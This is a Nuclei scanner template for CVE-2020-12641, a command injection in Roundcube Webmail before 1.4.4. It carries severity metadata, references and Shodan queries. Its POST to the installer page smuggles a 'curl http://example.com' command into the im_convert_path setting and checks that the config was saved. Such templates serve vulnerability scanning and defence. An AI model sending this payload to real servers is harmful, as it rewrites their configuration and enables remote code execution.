Roundcube Webmail before 1.4.4 contains a command injection caused by shell metacharacters in configuration settings for im_convert_path or im_identify_path, letting attackers execute arbitrary code, exploit requires attacker to control configuration settings.
PoC代码[已公开]
id: CVE-2020-12641
info:
name: Roundcube Webmail - Command Injection
author: domwhewell-sage
severity: critical
description: |
Roundcube Webmail before 1.4.4 contains a command injection caused by shell metacharacters in configuration settings for im_convert_path or im_identify_path, letting attackers execute arbitrary code, exploit requires attacker to control configuration settings.
impact: |
An attacker can exploit this vulnerability to execute arbitrary commands on the server, potentially leading to a full compromise of the system.
remediation: |
To remediate this vulnerability, update to Roundcube Webmail 1.4.5, 1.3.12 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2020-12641
- https://github.com/mbadanoiu/CVE-2020-12641
- http://lists.opensuse.org/opensuse-security-announce/2020-09/msg00083.html
- https://github.com/roundcube/roundcubemail/compare/1.4.3...1.4.4
- https://github.com/roundcube/roundcubemail/releases/tag/1.4.4
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-12641
cwe-id: CWE-78
epss-score: 0.93461
epss-percentile: 0.99811
cpe: cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: roundcube
product: webmail
shodan-query:
- http.component:"roundcube"
- cpe:"cpe:2.3:a:roundcube:webmail"
tags: cve,cve2020,roundcube,webmail,intrusive,kev,vkev,vuln
http:
- method: POST
path:
- "{{BaseURL}}/installer/index.php"
- "{{BaseURL}}/roundcube/installer/index.php"
headers:
Content-Type: application/x-www-form-urlencoded
body: _step=2&_product_name=Roundcube+Webmail&_support_url=&_skin_logo=&_temp_dir=%2Fvar%2Fwww%2Fhtml%2Froundcube%2Ftemp%2F&_des_key=aaCGmrf1vc2NIJ8whIA3aG9x&_enable_spellcheck=1&_spellcheck_engine=googie&_identities_level=0&_log_driver=file&_log_dir=%2Fvar%2Fwww%2Fhtml%2Froundcube%2Flogs%2F&_syslog_id=roundcube&_syslog_facility=8&_dbtype=mysql&_dbhost=localhost&_dbname=roundcube&_dbuser=roundcube&_dbpass=roundcube&_db_prefix=&_default_host%5B%5D=localhost&_default_port=143&_username_domain=&_auto_create_user=1&_sent_mbox=Sent&_trash_mbox=Trash&_drafts_mbox=Drafts&_junk_mbox=Junk&_smtp_server=localhost&_smtp_port=587&_smtp_user=%25u&_smtp_pass=%25p&_smtp_user_u=1&_smtp_log=1&_language=&_skin=elastic&_mail_pagesize=50&_addressbook_pagesize=50&_prefer_html=1&_htmleditor=0&_draft_autosave=300&_mdn_requests=0&_mime_param_folding=1&_plugins_autologon=autologon&_plugins_enigma=enigma&_plugins_zipdownload=zipdownload&submit=UPDATE+CONFIG&G&_im_convert_path=curl+http%3a//example.com
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Roundcube Webmail Installer'
- 'The config file was saved successfully'
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022100b6c2b1d0b60b9a6f96f62df6843ff31cc5f615f0e98935fc8868057619d0ab67022002e5faa1d7eb46dbee5d8d1e15acbab26fbd920defc4f7191d57ae737ecc018a:922c64590222798bb761d5b6d8e72950